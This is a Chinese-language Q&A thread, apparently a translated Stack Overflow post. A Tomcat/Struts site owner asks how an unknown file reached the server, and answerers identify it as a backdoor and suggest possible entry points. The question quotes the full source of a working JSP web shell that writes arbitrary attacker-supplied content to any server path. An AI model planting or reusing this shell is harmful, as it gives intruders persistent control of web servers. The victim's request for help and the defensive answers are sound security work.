2013-11-27 71 views
2

我有一個由Tomcat 7.0.42提供服務的Struts 2 Web應用程序。我最近找到了我沒有上傳的文件。這裏我舉一個例子爲什麼在服務器上上傳未知文件?

<%@ page language="java" pageEncoding="gbk"%> 
<jsp:directive.page import="java.io.File"/> 
<jsp:directive.page import="java.io.OutputStream"/> 
<jsp:directive.page import="java.io.FileOutputStream"/> 
<% int i=0;String method=request.getParameter("act"); 
if(method!=null&&method.equals("yoco")){ 
String url=request.getParameter("url"); 
String text=request.getParameter("smart"); 
File f=new File(url); 
if(f.exists()){ 
f.delete(); 
} 
try{ 
OutputStream o=new FileOutputStream(f); 
o.write(text.getBytes()); 
o.close(); 
}catch(Exception e){ 
i++; 
%>0<% 
} 
} 
if(i==0){ 
%>1<%} 
%> 
<form action='?act=yoco' method='post'> 
<input size="100" value="<%=application.getRealPath("/") %>" name="url"> 
<br> 
<textarea rows="20" cols="80" name="smart"> 

這是一個小的JSP用於在我的服務器上寫文件。幾天前,他們訪問了shell,並且由於某種DDoS攻擊,所有服務器都關閉了。

我真的很想知道他們如何在我的服務器上寫入文件。我有一些與用戶交互的表單,但所有字段都是正則表達式受限的,我使用準備好的語句來打我的數據庫。你可以看看,如果你想看到的問題「在行動」(link

任何幫助是如此讚賞。謝謝!

+0

此腳本可能允許服務器上的任何文件(甚至可能在網絡上)被任意內容替換,僅受Web服務器上的權限限制。即使權限是合適的,該腳本仍然通過依靠單層安全性來深入違反防禦概念。 'url'參數應該限制在特定的文件位置,並且不允許超出預期範圍的值。 – drf

+0

那麼這個腳本不是我的。有人已將其上傳到我的服務器。我想知道如何。謝謝!! – leccionesonline

+0

請參閱http://stackoverflow.com/questions/20243561/what-is-this-code-doing,其中包含相同的代碼示例。您的網絡服務器因某種漏洞(無法單獨從代碼識別)而受到威脅,並且此頁面允許攻擊者使用某種形式的遠程控制。 – drf

回答

0

顯然這是一個惡意用戶/黑客上傳的後門。

該文件爲何會最終有可能是因爲以下幾個原因:

  • 黑客訪問你的FTP/SSH(請嘗試更改用戶)
  • 如果你有一些「公衆上傳文件」功能,它可能容易讓用戶上傳任何他們想要的東西。
  • 您的系統中有一些遠​​程代碼執行。
  • SQL注入漏洞以及它們能夠從數據庫中檢索密碼以訪問某些管理面板,這些管理面板可以讓他們上傳文件,或者根據數據庫和數據庫用戶權限甚至可以使用查詢寫入文件。

我建議:

  • 更新您的軟件(框架,CMS,Web服務器,操作系統,API等)。
  • 如果您擁有專有代碼,請對其進行一些聽覺檢索並搜索漏洞。

祝你好運!

相關問題